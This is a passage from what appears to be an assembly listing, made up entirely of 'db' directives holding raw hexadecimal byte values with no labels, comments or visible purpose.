7Fh db 94h, 0Eh,0FFh,0D3h, 98h, 43h, 80h, 7,0A2h, 24h,0A9h, 1Fh,0CCh,0F8h, 5Dh, 67h db 8Ch,0F5h, 52h, 1Fh,0FDh, 43h,0EEh, 6,0F4h, 4Fh, 70h, 2Eh,0EFh, 40h, 4Eh, 57h db 0FEh, 19h, 91h, 42h, 8Ah, 62h,0D1h, 38h, 6, 35h, 8Fh, 2Eh, 3, 82h, 87h, 1 db 3,0CDh, 23h, 97h, 88h, 8Ah, 83h,0C4h,0D6h, 9,0F5h, 0Fh, 41h, 42h, 27h, 20h db 7Fh, 2Ch, 59h,0FCh, 74h, 90h, 83h, 21h,0F2h,0FFh,0D3h,0F7h, 92h,0FFh, 3Bh, 42h db 0FFh,0D6h, 60h, 39h,0FFh, 3Fh,0D0h,0E4h,0E4h, 3Fh, 50h, 93h, 12h, 5, 81h,0DEh db 0DEh, 65h,0D4h, 97h, 9Eh, 82h, 22h,0AFh, 8Ah, 5Eh, 50h,0C7h, 5Eh,0DAh, 5Ah, 62h db 81h, 1Ch, 4,0FDh,0CDh,0E9h, 2Fh,0FEh,0BBh, 97h,0FCh,0E9h, 1Bh, 39h, 2Ch,0B2h db 6Ch, 79h, 17h, 53h, 3Ah, 3, 74h,0FDh,0D1h,0CBh,0F8h, 9Bh, 7, 7Dh, 2, 8Ah db 0CEh, 5, 87h, 45h, 0Fh, 25h,0DAh, 3Ah,0A0h, 55h, 19h,0A3h, 61h,0FAh, 7Dh, 80h db 26h,0F4h, 0Fh, 4Ch,0FAh,0EFh, 51h,0B4h, 32h, 50h, 59h, 4Fh,0E7h, 9Fh,0A0h, 2Bh db 0FFh,0AFh,0F6h,0F2h,0FFh,0BFh,0B4h, 17h, 4Ah, 87h, 3Fh, 8Ah,0D4h, 9Fh, 2, 45h db 4,0EFh, 0Ch, 90h, 8Fh,0A4h, 70h, 87h,0B4h,0CDh, 1Eh, 79h, 7Ch,0A4h, 7, 53h db 8, 0Bh, 8Fh,0CDh,0D7h, 26h, 3, 9Ah, 59h, 71h, 7Ch,0D0h, 94h, 10h, 3Ah,0C4h db 0D6h, 82h, 65h, 8Bh, 65h, 61h,0FCh, 88h,0FEh,0B2h, 6,0CCh, 7Dh,0B6h,0ABh,0B3h db 44h, 7, 6Fh, 8Eh, 0, 14h, 1Bh, 88h, 25h, 9Bh, 61h, 66h,0FAh, 9Dh, 5Ah, 63h db 19h, 12h, 50h, 67h, 0Bh,0B7h, 49h, 9Bh,0F3h, 2Dh,0BAh,0DAh, 92h,0D8h, 67h, 82h db 0FAh, 4Fh, 81h,0DDh, 5Bh, 0, 62h, 18h, 9Ch, 89h, 1Eh, 48h,0CAh, 43h,0C6h, 0 db 93h,0E7h,0EEh, 3,0FAh, 80h, 30h, 7Bh, 50h, 5Bh, 3, 1Bh,0C2h, 25h, 44h, 66h db 0FAh, 35h, 9Dh, 16h, 8Fh, 68h, 68h, 6Ch,0F1h, 1Ah, 5Ah,0FCh,0FFh,0FFh,0D0h, 3Fh db 80h, 6Ch, 27h,0FEh,0A0h, 93h, 6Ch, 1, 40h, 33h,0F1h,0E3h, 30h,0D9h, 2Fh,0E4h db 55h, 79h, 14h, 53h, 4, 27h,0CBh, 8Fh, 55h,0A8h,0D4h, 6Ah,0F8h, 0Bh, 3,0D0h db 59h,0E3h, 9Fh,0D6h, 65h, 87h, 6Ah,0BCh,0DDh,0E0h,0EBh, 34h, 0Dh,0B4h,0DFh, 29h db 98h, 3,0E5h,0A2h,0BCh,0C0h,0CBh, 5Fh,0A6h,0C3h, 7Fh,0E8h,0FEh, 59h,0D4h, 6Ch db 0E6h, 3Eh,0EBh, 0Ah,0DEh, 32h, 7,0D4h,0ADh, 8Ah, 8, 58h, 70h, 25h, 78h, 17h db 8Fh, 27h,0E2h, 6,0D8h, 18h, 30h,0F4h,0B7h, 9Ch, 82h, 70h, 76h,0F4h, 9Fh,0DFh db 0FCh, 20h, 7,0D4h, 70h, 39h, 8Bh, 6Ch, 2, 29h, 4Ah, 9Fh, 30h, 5Dh,0E5h, 5Fh db 13h, 20h, 51h, 90h, 0Bh, 1,0EBh, 30h,0CEh, 0, 1Eh, 21h, 9, 0Eh,0BFh,0C2h db 0B0h, 4Eh, 1,0A8h, 1Dh,0A0h, 9Ah,0F4h, 19h,0BEh, 59h, 12h, 19h,0C0h, 4Ah,0F1h db 90h, 3,0C1h,0A0h, 4, 9Ch,0D0h, 3Bh,0D1h, 62h, 60h,0D0h, 69h, 58h,0C0h, 14h db 0DEh,0F6h, 0, 3Dh, 79h, 90h, 11h, 95h, 15h, 31h, 98h,0B3h, 82h, 51h, 47h,0C3h db 0B8h, 8, 95h,0A3h,0E8h, 61h, 80h,0ACh, 6Fh, 79h,0ECh,0F3h, 33h, 5Dh, 44h,0E6h db 2, 9Ah, 1, 4Bh, 6Dh, 7,0B6h, 7Bh, 32h, 9, 7Ah, 0, 71h,0C0h,0D7h,0FEh db 0Fh, 88h, 6, 30h,0F1h, 34h,0FAh, 12h, 60h, 96h, 10h,0A6h,0F6h, 12h,0C8h, 3Ah db 81h, 18h, 20h, 79h, 9Dh, 62h, 62h, 0Bh, 8,0C5h, 87h,0B9h,0CEh, 70h, 1Dh,0EEh db 0A5h, 34h, 46h,0C0h, 1,0C0h, 0Ah,0F1h, 9,0E4h, 8Ch,0D1h, 3Fh,0BAh, 4Bh, 9Bh db 28h, 3,0A6h, 0, 55h, 0Bh, 3Fh, 8Ah, 83h, 86h, 6Ah, 7Dh,0EBh,0C3h,0A4h, 30h db 2,0D4h, 1Dh, 7Eh, 7Ch, 2Ah, 5Bh, 44h,0ACh, 96h,0EDh, 2Fh, 2Ah, 52h, 60h,0BAh db 0A9h, 8Ch, 61h,0D6h,0E0h, 70h, 83h,0C5h,0CFh, 1Eh, 7Ch,0C6h, 78h, 70h, 1, 4 db 0C1h, 0Fh, 78h,0F8h,0C0h,0A4h, 11h,0FCh,0C1h,0C4h,0C6h,0C3h, 7Eh, 3Dh,0F8h,0B4h db 6Eh, 6Ch,0A0h, 9, 78h,0C5h,0C0h, 2Fh, 1Fh, 85h, 9Ch, 32h,0B6h, 1Eh,0B4h, 5Ch db 0FAh,0B7h, 71h,0BDh, 33h, 24h, 80h, 2,0DCh, 97h, 14h, 81h, 78h,0B4h, 48h, 0Bh db 0Dh,0A0h, 4Bh, 42h, 61h, 81h,0AEh, 46h,0DAh, 3Fh,0EBh, 6, 5Dh, 7, 2Ah, 5Dh db 33h, 4Eh, 0Eh, 23h, 11h,0B5h, 78h, 31h, 86h,0A3h,0B7h, 64h, 0Eh, 8,0C8h, 5 db 7Fh, 58h, 1Fh,0E8h, 9Fh, 2Fh, 4Fh, 33h,0C0h,0FFh, 93h,0D2h, 89h,0C6h, 36h, 7Ah db 64h,0F5h, 6, 7Ah, 80h,0B0h, 35h, 10h,0AEh, 40h,0E7h, 4Ah, 0Eh,0FEh, 0Fh, 38h db 0C7h,0C9h,0F6h, 2,0DEh, 72h,0F8h, 0,0B1h, 4,0CCh,0AAh, 54h, 7Eh, 7Ah, 2 db 0Dh,0BAh,0A2h, 69h, 5Fh, 60h, 1Dh,0A0h,0B0h, 7Bh, 91h,0FFh, 4Fh,0EBh, 57h, 5Eh db 9, 9Dh, 23h, 75h, 5, 1Ch,0BCh, 1Ch, 9Ah, 4Eh, 4Bh, 38h, 30h,0A9h,0B8h, 13h db 35h, 5,0D2h, 2Ah, 88h,0A5h, 4Fh, 71h,0C3h, 0Ch,0D6h, 5,0C6h,0ABh, 26h, 3Eh db 0F1h, 2, 9Dh,0CEh,0F1h, 94h, 7Dh, 6Bh, 4Eh, 67h, 4Dh, 99h, 21h, 29h, 1Bh, 88h db 41h, 37h, 1Bh,0C8h,0EAh, 12h,0E1h, 3Eh,0DEh,0EEh, 99h, 11h, 0, 37h, 5Bh, 63h db 87h,0EAh, 0Dh,0BAh,0DDh, 16h, 2Ch, 82h, 18h, 8,0B4h, 76h,0EDh,0C8h, 19h, 73h db 0FFh,0FFh, 7Fh, 4, 6Ch,0F9h, 5Bh,0FEh,0E9h, 4Fh, 8Ah,0A6h,0A0h,0E3h,0DEh,0DAh db 71h,0D1h,0FCh,0C6h, 82h, 33h, 4Eh, 75h, 91h,0FEh,0ACh, 7Ah, 8Ah, 11h,0E4h, 91h db 1Bh, 9Eh,0E0h, 7Eh, 61h, 30h,0E7h, 5Bh, 78h,0A9h, 13h,0D0h,0EAh, 89h, 76h, 60h db 96h, 2Eh,0E8h,0D7h, 93h, 0Eh, 84h,0FDh, 7Eh, 18h,0F4h, 80h, 0Ah,0FDh,0FFh,0B7h db 0C7h,0A7h, 62h,0AFh, 0Fh,0A8h, 62h,0A3h,0FEh, 3Ah, 7Ah, 43h,0FFh, 30h, 17h,0A8h db 3Fh, 89h, 14h,0FFh, 6, 2, 68h,0A3h, 8Fh,0C6h, 37h, 6Eh, 68h, 2Ah, 13h, 8Dh db 1Fh,0B8h, 85h, 9Dh,0AFh,0ECh, 73h, 45h, 7Fh, 4Eh,0FDh, 8Ch, 80h,0C1h,0C3h,0F8h db 0A1h, 75h, 84h, 0Fh, 82h,0CEh,0A6h, 75h,0B1h, 31h,0D6h, 73h,0BFh,0C2h,0A7h, 7Ah db 74h, 1,0F4h,0FFh, 22h,0BAh, 4Ch,0BBh, 6Dh, 11h,0BDh,0AFh,0BFh, 1,0F4h,0D1h db 4Eh,0ABh, 42h,0FFh,0FCh,0FFh,0FBh,0B4h, 70h,0BBh,0D1h, 69h, 17h, 68h, 48h,0BAh db 69h, 27h,0FFh,0FFh, 43h, 91h, 87h, 67h,0FFh, 17h, 49h,0EFh,0BEh, 71h, 10h,0FFh db 0FFh,0FFh,0BFh,0B7h,0D9h,0DFh, 22h, 1Dh,0A0h,0C8h,0BCh,0C5h,0E8h, 6, 48h,0F1h db 50h,0F5h,0BEh, 15h,0D0h, 66h,0EDh,0B7h, 25h, 91h, 89h, 69h, 29h, 0Ch,0F5h, 7Bh db 6Bh,0F1h,0FFh, 0Fh, 2, 2, 0, 0Ch, 81h, 1,0A5h, 1,0EAh,0A6h,0E8h, 40h db 40h,0BFh,0F3h, 1,0FBh,0E9h,0C0h, 8Eh,0C6h, 5Dh, 27h,0C1h,0C3h, 12h, 8Fh, 83h db 7Eh,0DAh, 22h, 29h,0E3h, 3Bh, 15h,0BFh, 8,0D0h,0D1h,0B6h, 7Ah,0DDh, 62h,0FEh db 81h, 19h,0ADh, 16h, 0Eh,0D9h,0ABh,0FAh,0FBh, 33h, 98h, 13h,0A6h,0CCh, 3Eh, 31h db 3,0E7h, 6, 55h,0E7h,0EFh, 10h,0E1h,0C1h,0FFh, 7Dh, 43h, 66h,0FCh, 94h, 68h db 1,0D8h,0A0h, 8Ah, 40h, 20h,0DFh, 7Ah, 2,0CDh, 6, 55h,0F1h, 4Dh,0F8h,0DFh db 0FFh, 97h, 13h,0FEh,0C2h, 3Fh,0BAh, 9, 94h, 9, 9Fh, 6Eh, 8Fh, 68h, 14h,0BEh db 0ABh, 5Ah, 7, 0, 1, 1Dh,0D1h, 28h,0C5h,0D2h,0DCh, 18h, 50h,0E2h,0BFh, 4 db 72h, 4Bh, 47h, 6Eh, 74h,0C4h, 3Bh, 3Ah, 87h,0FCh,0B5h, 38h, 80h, 87h, 17h,0F1h db 5Eh, 71h, 0Dh,0BFh, 1Ah,0FDh, 6Bh,0E9h, 47h, 26h, 64h, 0,0D0h, 10h,0ACh,0E1h db 0D5h, 81h,0B0h, 6Fh, 4Fh, 59h,0F8h,0DDh, 0Dh, 9Fh,0D2h, 8Fh, 69h, 9Ah,0E5h,0D8h db 9Fh, 6Eh,0C3h, 37h, 64h,0FDh, 3Bh, 4Ch, 40h,0E8h, 3,0B4h, 85h,0FBh, 8, 73h db 9, 88h,0C5h, 80h, 13h,0B3h,0E7h,0D0h, 29h, 0Ch, 6Dh, 93h, 6Ah,0AAh, 1Fh, 6 db 1,0B3h,0FEh, 12h, 92h,0F5h, 13h,0CCh, 6Eh,0DDh, 3Dh,0ECh,0F1h, 82h,0B0h, 5Ch db 58h, 0, 6Ah, 11h, 3Ch,0AAh,0BEh, 0,0DAh, 98h, 49h,0C0h,0FAh, 48h, 17h,0CAh db 89h, 11h, 3Ch,0C3h, 0Eh,0D6h, 13h, 21h,0D7h, 89h,0C3h,0F2h, 6Fh,0E1h,0E7h, 2 db 9,0FCh,0A0h, 0Ah,0C3h, 3Fh, 2Ch,0F6h, 4, 0Ah,0B7h,0CEh,0D1h, 1, 5Bh, 7Ch db 74h,0B4h,0EAh, 80h,0E8h,0FFh,0BFh, 0Eh, 85h,0B5h, 78h,0EEh,0DBh, 70h, 3Fh,0CFh db 0A0h, 9Bh, 68h, 8Fh, 5Dh,0ADh, 33h,0D3h, 2,0EAh,0DAh,0FFh, 5Dh,0A1h,0AEh, 7Dh db 0CFh, 45h, 8Dh, 82h,0BBh,0BEh,0AAh,0ADh, 65h, 42h, 0Eh, 38h, 9Ah,0E7h,0C4h, 0Bh db 51h, 2,0BCh, 84h, 3Ch, 62h,0C1h,0E9h, 2Fh,0B3h, 68h, 31h,0FCh, 79h,0D1h,0FFh db 0FFh, 7Bh, 74h,0E0h, 9Ch,0D7h, 53h,0F8h,0F6h, 5Fh, 80h,0DFh, 1Ch, 2Dh,0E1h, 6Fh db 0BBh, 80h, 0Eh, 82h,0D0h,0B8h,0A0h,0E0h, 43h, 1Bh, 38h, 64h, 18h, 96h, 1, 3Ah db 8Eh, 11h, 7Eh, 6Ch,0AFh, 19h,0E8h,0F5h,0F4h,0ECh,0CFh,0E2h, 68h,0E2h,0E9h, 53h db 0D3h, 7Bh, 2, 39h,0BDh, 9Bh,0D0h,0CCh,0FFh, 5Bh, 5Eh, 3Fh, 83h, 34h, 17h, 6Fh db 0B8h,0E2h, 3, 71h,0F4h, 4Ch,0B8h, 8,0D7h,0F6h,0C2h, 46h, 85h, 87h, 8Dh,0FEh db 0B3h,0DFh, 36h, 90h, 75h,0DCh, 1, 5Ch,0EBh,0A0h, 8Bh, 44h, 3, 27h,0FEh, 19h db 0C1h,0E8h,0EEh,0D5h, 6Fh, 1Eh, 21h, 98h,0AFh, 40h,0A7h,0C4h,0E0h, 0Eh, 82h,0F5h db 1Eh, 40h, 21h,0CCh, 8, 4Eh, 69h,0BEh, 76h, 5Fh, 17h,0D3h, 45h, 9Bh,0A1h, 6Ch db 46h, 27h,0D4h, 22h,0F0h, 27h,0F0h, 82h, 53h,0DEh, 15h, 18h, 65h,0D4h, 4, 6 db 8Dh, 0Dh,0EBh,0A6h, 70h, 30h,0D7h, 7Dh, 37h, 3, 8Ch, 19h, 71h, 47h, 8Ah, 6Fh db 12h, 66h, 2Eh, 95h, 2Ah, 87h,0FDh, 91h, 6Fh, 5Fh, 44h, 8, 0Dh, 60h,0D0h, 1Fh db 0D2h, 39h, 1Dh, 7Eh, 7Eh, 13h, 82h,0B8h,0C0h,0F8h, 93h, 8Bh, 9Fh,0A2h, 2, 72h db 0F8h,0C0h, 39h, 53h, 0Eh, 5Ah, 85h,0D5h, 6Fh, 5Dh, 0Eh,0EAh, 66h,0B4h, 4,0AAh db 0B4h,0FEh,0B4h, 92h, 13h,0BAh,0E8h, 97h,0F5h, 4Fh, 17h, 3Dh,0DAh,0BEh,0C4h,0A7h db 55h,0AFh, 57h, 78h, 46h,0A5h, 87h, 10h,0C0h,0D9h,0B9h,0D2h, 3Fh, 38h,0E8h, 0Ch db 79h,0FAh, 51h, 7Ah,0CFh, 8Ch,0EEh,0AAh, 48h,0E9h, 5Eh, 27h,0DAh,0BEh,0ABh,0F7h db 0DAh,0FAh, 75h, 48h, 66h, 4Ch, 8Bh,0FBh,0A8h, 2Ch,0C4h,0DAh, 3Eh, 6Fh, 9, 3Ah db 8Dh,0FEh, 48h,0C2h,0CEh, 76h,0E0h, 6Fh,0D9h, 6,0D4h, 30h, 8Fh,0A2h, 58h,0D4h db 12h,0C0h,0D7h, 91h,0FAh, 71h,0A2h,0CFh,0AAh, 91h, 5Bh, 15h, 7, 9Dh, 55h, 0Fh db 0,0FDh, 43h, 5Bh,0ADh, 0Fh,0CBh, 13h, 1, 3Ah,0A5h, 8Eh,0B0h, 34h,0F5h, 34h db 43h,0D5h, 35h, 75h, 9Bh, 6, 98h,0D4h, 1Dh, 2Ch, 6Ah,0E0h, 60h, 0Ch,0FEh,0A6h db 2Ch, 16h, 83h, 17h, 8Ch, 66h,0CEh,0C1h, 39h, 56h, 22h, 0Dh,0F7h, 70h, 59h,0A3h db 22h,0C9h, 60h, 1Ch, 38h, 12h, 44h, 0Ch, 60h, 41h,0E1h,0E0h, 58h, 78h,0B9h,0EBh db 19h, 87h, 33h, 24h, 79h,0A4h, 32h, 70h, 4Dh, 3, 77h,0B4h,0E0h, 65h,0E4h, 62h db 0F4h,0A8h,0CFh,0C0h,0D0h, 1Ah, 4, 4Ch, 7, 70h,0B0h, 78h, 30h, 8Ah, 18h,0B8h db 0D8h,0A8h, 63h, 1Ch, 6Bh, 1,0EFh, 1Ah,0D6h, 83h, 7Ch,0E8h, 0Fh, 2Ah, 22h,0EDh db 0AEh, 40h,0CEh, 59h, 41h,0D0h,0B4h,0D6h, 71h,0A4h, 13h,0E0h, 0Ah,0CFh, 76h, 79h db 0E8h, 9Bh, 50h,0DEh, 60h, 60h,0D1h,0C6h, 18h, 36h, 8, 99h,0E9h, 3Fh, 2, 11h db 95h, 15h,0D2h,0AEh,0FFh,0DDh, 9Ch,0ECh,0D2h, 52h, 2Fh,0B3h, 3Fh,0D8h, 58h,0A2h db 0EBh,0C4h,0E9h,0E3h, 13h, 2Ch,0ECh, 99h,0FDh, 67h,0E7h,0F8h,0CDh, 4Bh, 7,0ECh db 5Bh, 0, 93h,0FDh, 53h,0DDh,0BAh, 6Bh, 18h,0DEh, 80h, 0,0C3h, 45h, 75h,0C3h db 1Fh, 20h, 53h, 59h, 66h, 93h, 53h, 45h, 55h, 19h, 76h, 65h, 67h, 65h, 4Ah, 33h db 0C6h,0B1h, 75h, 24h, 4Dh, 1,0B5h,0F1h, 89h,0F2h, 47h, 58h, 98h,0C2h, 17h,0E1h db 0A2h, 12h,0CDh, 84h, 46h, 52h, 2, 99h, 87h,0B4h, 4Ah, 8Eh,0ADh,0E8h, 3Bh,0E9h db 35h, 48h, 5Bh,0A3h, 10h,0D4h, 5, 1Bh, 6Eh, 90h,0BEh, 45h, 56h, 88h,0F4h, 70h db 21h, 33h,0AFh, 2Dh, 1,0C0h, 83h, 98h, 28h, 18h, 27h,0D1h, 7,0D0h, 63h,0EBh db 0Fh, 90h, 30h, 45h,0EBh, 28h,0A5h,0C6h, 74h, 5Ch, 0Ah, 50h,0B8h, 68h, 6Ch, 9Eh db 0CEh,0D4h,0E6h, 0Bh, 5Dh, 0Eh, 30h,0A3h, 44h, 9Ah,0D8h, 1Ch, 30h, 7Ah, 74h,0EBh db 46h,0FBh,0AFh,0BDh,0DAh, 77h,0C7h,0F1h, 0Eh, 18h,0CFh, 39h,0B1h, 42h, 67h, 60h db 59h, 27h,0E9h,0E6h,0DDh, 28h, 3Ch,0E5h,0A7h,0F0h, 21h, 8Ah,0BDh, 8, 0Ah, 7 db 29h,0CAh, 64h, 3Ah,0DEh, 1Fh, 8Ah,0C2h, 0Fh,0C6h, 87h,0B1h, 3Dh,0A3h, 45h, 5Fh db 5Eh,0EEh,0CFh, 9, 45h,0FEh,0FDh,0D8h,0A0h, 14h, 67h,0E5h,0EDh,0AFh,0B9h, 2Fh db 0D0h, 64h, 3Ah, 15h,0DFh,0A1h, 11h,0EEh,0C9h, 19h, 12h, 87h, 98h, 22h, 0Eh, 3Fh db 26h, 1Dh,0C9h,0A0h,0FAh, 92h, 3Fh, 2Ah, 4Bh, 97h, 78h, 5, 75h, 60h,0BCh, 3Fh db 0FAh, 5Fh, 53h,0FAh, 93h,0D2h, 3Fh, 56h, 6Ah, 5Dh, 23h, 58h,0F8h, 2Dh,0D0h, 7Fh db 0E7h, 46h, 56h,0C3h, 66h, 88h,0B9h, 2Fh,0B8h,0A9h, 32h, 45h, 41h, 75h, 7Fh, 65h db 0EBh,0CCh, 1Fh,0D2h, 6Bh, 6Fh,0EEh, 6Ah, 5Ch,0EDh, 7Dh, 85h, 83h, 5Eh,0D9h, 3Ah db 7Dh,0A5h,0DCh, 57h, 1Fh, 61h, 4Eh, 15h, 48h,0DEh, 22h, 12h, 68h, 7Bh,0A0h, 3Ah db 9Dh, 55h, 87h, 4Fh, 7Ch, 89h,0EEh, 4Eh, 7Fh, 7Bh, 33h, 2Ah, 7,0FAh, 16h,0EEh db 0A1h, 67h, 91h, 7Eh, 16h,0F7h,0E0h, 95h,0CBh, 5Fh, 0Dh,0ECh,0E7h,0FDh, 47h, 5 db 0EAh,0E1h, 1Bh, 17h,0D3h, 26h, 48h,0F9h,0DFh, 80h, 52h,0DDh, 8Ah,0B4h, 29h, 44h db 3Ah, 0Ch,0D2h, 43h,0EBh, 4,0DAh, 41h,0DAh,0C3h,0ABh,0F4h, 0, 67h,0ACh,0BDh db 40h, 16h, 1Bh, 13h, 38h,0A8h, 84h, 3Bh, 58h, 3Ch,0A0h, 31h, 3, 74h,0C6h,0F1h db 0DFh, 6Ah, 7Dh,0AEh,0A8h,0BFh, 65h,0F4h, 17h, 1Fh, 8Bh,0CCh, 0Dh, 7Ah, 49h,0BAh db 1Ah, 5Dh, 3Ah,0A0h, 81h, 82h, 8, 7Eh, 50h, 2Ah,0D4h, 7, 71h, 6Ch, 45h,0E6h db 77h, 0,0FCh,0E9h, 4, 91h, 9, 3, 8Eh, 9Dh, 17h, 5Bh,0D2h,0EDh, 93h, 87h db 82h, 7Eh, 7Fh, 7Eh,0FDh, 98h,0E8h, 6Fh, 79h,0D7h, 66h, 9Bh,0AAh, 0Bh,0B3h, 37h db 0F3h, 3Ch,0A1h, 2Bh, 64h,0A4h,0B7h, 75h,0D4h, 3Fh, 1Bh,0E1h, 68h,0D4h, 68h,0E9h db 0FFh,0FFh,0BFh, 3Eh, 9Dh, 3Eh,0E8h, 96h, 6Bh, 9Dh, 8, 0Eh,0CEh, 17h,0FDh, 0Fh db 0B2h,0EDh,0BBh,0A5h, 27h, 72h, 6Fh, 0, 41h, 57h, 8Dh,0F1h, 38h, 5Ah, 27h,0C6h db 60h, 55h, 8,0D1h,0FFh, 8Ah,0FEh,0E9h,0FEh,0FFh, 6Dh,0A0h,0EAh, 1Fh,0DAh, 3 db 6Fh, 91h, 24h, 87h,0A3h,0DBh, 38h, 4, 98h,0CCh, 18h, 8Bh, 22h, 89h, 4Ch, 84h db 7, 6Bh, 18h, 3Fh,0D0h,0FAh, 14h, 44h,0EBh,0F2h, 75h, 49h, 21h, 97h, 7Ah, 5Ch db 0D4h, 98h, 9Ch, 3, 1Bh, 64h,0C6h, 5Ch,0FDh, 51h, 7, 9Ch,0B2h, 72h,0EBh, 8Ch db 0C0h, 98h,0BDh, 0,0EAh, 3Fh,0ACh,0F3h, 9Ah, 3Ch,0A7h,0D9h, 13h,0BAh, 67h,0EBh db 5Fh, 19h, 9,0AFh, 44h,0FAh, 6Bh,0D2h, 80h, 8Eh, 98h,0AFh, 42h,0D2h,0AFh, 65h db 5Fh,0F3h, 44h,0FFh,0FDh,0FBh,0DCh,0D9h, 41h, 4Ah,0E7h,0DDh,0B5h,0A9h,0CBh,0FBh db 27h, 3Fh, 45h,0A7h, 4Fh,0FCh, 0Dh,0F6h, 68h,0A7h, 80h,0B6h,0B1h, 2Bh, 8, 3Dh db 48h, 4, 8Ah, 69h,0B0h, 4Ch, 3Bh, 5Fh, 31h,0DFh, 3Ah, 66h,0E3h,0ECh, 63h,0BCh db 0BFh, 8Ah,0FEh,0A5h,0FAh, 27h,0D7h, 6Ch, 15h,0A6h, 88h, 29h,0FAh,0FFh,0EFh,0F6h db 5Ch, 92h,0EEh,0C1h,0E8h,0B4h, 3Fh,0A5h,0D1h, 48h,0FDh, 57h, 84h, 43h,0C8h, 1 db 0D2h,0C1h, 1Ch, 20h, 83h,0BAh, 8Eh, 0Fh, 46h,0C6h, 77h, 17h, 6Dh,0A8h, 23h, 81h db 0C8h, 41h,0B0h, 55h,0ACh, 7Bh,0EFh,0D3h,0A0h, 7,0CFh,0EEh,0E8h,0F5h, 0Eh, 4Eh db 51h,0F9h,0AEh, 9Bh,0D2h, 2Eh, 50h, 78h, 81h, 2Bh, 64h, 9Bh, 42h,0A8h,0F8h,0FEh db 0D5h, 64h, 5Ch,0BBh, 78h, 80h, 38h, 40h, 5Dh, 27h,0D4h, 41h, 4Ah,0E5h, 7Ah,0DDh db 7Ah,0CFh, 43h,0FFh,0AEh,0D0h,0E1h, 77h, 9Dh,0A5h, 77h,0F1h, 15h,0FBh, 3, 4Ch db 0B3h, 3Fh,0C9h, 9Eh,0E2h,0FFh,0C1h, 6Bh, 58h,0F7h,0EEh, 4Bh, 67h,0F2h, 27h, 7Fh db 37h, 45h, 20h,0D1h,0B1h, 3Bh, 0Eh, 90h,0DEh,0D2h,0E2h, 3Eh, 48h,0E3h, 3Fh, 86h db 0C9h,0A2h,0C5h, 4Bh,0B7h, 9Fh,0F7h, 6Fh,0CFh,0ECh,0E8h, 6Dh, 3Bh, 41h, 26h, 1 db 25h,0C8h,0FAh, 66h, 1Eh, 97h, 28h,0AAh,0E8h, 1Ch, 88h, 42h,0F5h,0B3h,0FAh, 45h db 0C2h, 5Fh,0ADh, 50h,0CDh, 60h, 6Ah,0FBh,0EAh,0B1h,0A7h, 20h, 80h, 70h, 96h,0B5h db 38h,0E1h, 2Dh, 59h, 0Dh,0D9h,0DDh,0EAh,0BDh,0DDh, 33h, 23h, 9Dh, 1Ah,0B6h,0F2h db 9Ah,0DAh, 1Fh, 96h, 6Bh, 1, 7,0FFh, 68h, 7Bh, 0Bh, 4Ah,0FDh,0D9h, 49h, 22h db 1Fh, 52h,0FCh, 32h,0ADh,0C3h,0EAh, 15h,0B4h,0D0h, 7Eh,0FFh,0CFh,0FEh,0C4h, 79h db 72h,0EDh,0CDh, 78h, 8Bh, 3Fh, 20h, 85h,0F4h,0AFh,0A3h, 8Eh,0CFh, 1Fh, 5,0D7h db 0C8h,0D1h, 2, 4, 0Dh,0D4h,0F8h, 3Bh, 7Fh, 81h, 1Ah,0FFh, 53h, 1Dh,0ADh,0F1h db 47h, 7Ch,0B7h,0FDh, 62h, 84h, 7Eh, 52h, 3Dh,0FBh, 73h, 3Dh,0A4h, 30h, 10h, 9Eh db 52h, 4Dh, 21h, 1Dh, 3Bh, 7Ah, 2Dh, 30h,0D6h, 12h, 6Ah,0ECh, 19h,0CEh,0ECh, 96h db 58h, 40h,0C3h,0F5h, 1, 6, 9Fh, 67h, 1Bh, 9Ch, 9Dh,0E1h,0CEh,0BFh, 9Ah, 73h db 88h,0BEh, 6,0B4h, 68h, 87h, 26h,0F5h,0FCh, 3Ch, 49h,0ADh, 80h, 70h,0C0h,0B0h db 0A5h, 39h,0CDh,0CCh, 9Fh, 0Fh, 2Ch,0B3h, 59h,0DAh, 2, 7, 81h, 17h, 62h, 6Fh db 0F5h, 89h,0C7h,0E9h,0F1h,0EFh,0D6h,0A1h, 4, 8, 3Bh,0A1h,0B1h, 83h, 1Ah, 91h db 44h,0EFh,0CFh, 21h, 1Eh, 6Bh, 44h, 9Eh, 6Fh, 6,0D5h,0DBh, 1, 72h, 22h,0AEh db 8Fh,0C0h, 58h,0B0h,0CFh, 6Ah,0F0h, 14h, 8Dh,0BEh, 82h, 7Eh,0A0h, 5Bh, 37h,0EFh db 43h,0EFh,0C6h, 7, 18h,0F5h,0ADh, 90h, 30h, 96h,0D0h, 3Dh,0F0h,0F2h, 16h, 41h db 3Bh, 4Fh,0ADh, 2Bh, 40h,0EAh, 14h, 5Dh,0ADh,0B7h, 78h, 3Dh, 3Ah, 43h,0A0h,0A1h db 58h,0C0h, 9Ch, 1Bh, 83h, 85h,0EBh, 49h, 71h, 11h, 7Fh, 3Fh, 30h, 17h,0CCh,0B1h db 0E1h, 8Dh,0E8h, 22h,0EDh,0DEh,0B8h,0F5h, 16h, 8, 4Eh, 0Ch,0DFh, 30h,0FAh,0F2h db 0C9h, 7Dh, 13h,0EFh, 8Fh,0D6h, 47h, 2Dh, 91h, 74h,0D9h,0DFh, 10h,0FDh, 93h,0B4h db 0A3h,0FBh, 1Bh, 97h, 38h,0B7h,0EEh, 76h,0B5h,0B3h, 4Ch, 37h, 18h, 95h, 40h, 9Fh db 80h,0D6h, 66h,0E9h, 9Dh, 1, 5Ah, 1Ch, 89h, 2, 5, 4,0ABh,0A0h, 71h, 49h db 86h,0ABh, 28h, 10h,0D1h, 4Dh, 1Bh,0EEh, 53h, 68h,0E9h,0F5h,0F6h, 0Eh, 96h, 2Ch db 0Eh, 80h, 82h,0A9h, 9Dh, 2Fh, 72h,0BBh, 69h, 36h,0E0h, 4Fh,0A7h, 62h,0FFh, 87h db 0DFh,0EFh, 15h, 4Ch, 66h, 9Fh, 20h,0FBh,0C8h,0A9h,0B0h,0C7h, 30h, 6Ch,0F7h, 0Eh db 14h, 79h, 1Fh, 5Dh,0A0h, 7, 5Ah,0B0h,0BFh,0DEh,0AFh,0D1h,0FFh, 6Fh, 50h,0A7h db 3Ah, 60h, 3Fh, 47h,0D3h,0E9h,0EAh, 9Dh,0C6h, 30h, 2, 8Ch, 2Ch,0D1h, 0Dh,0DEh db 0ABh,0BAh,0C1h,0CDh, 90h,0DEh,0F0h, 97h, 98h,0ABh,0B3h,0BBh, 1Fh, 3Dh, 5Ch, 3 db 0A3h, 13h,0DEh, 20h, 7Dh,0ABh,0A7h, 8Ah, 20h,0BCh, 65h,0BAh, 40h, 87h, 41h, 1Ah db 0C3h, 86h, 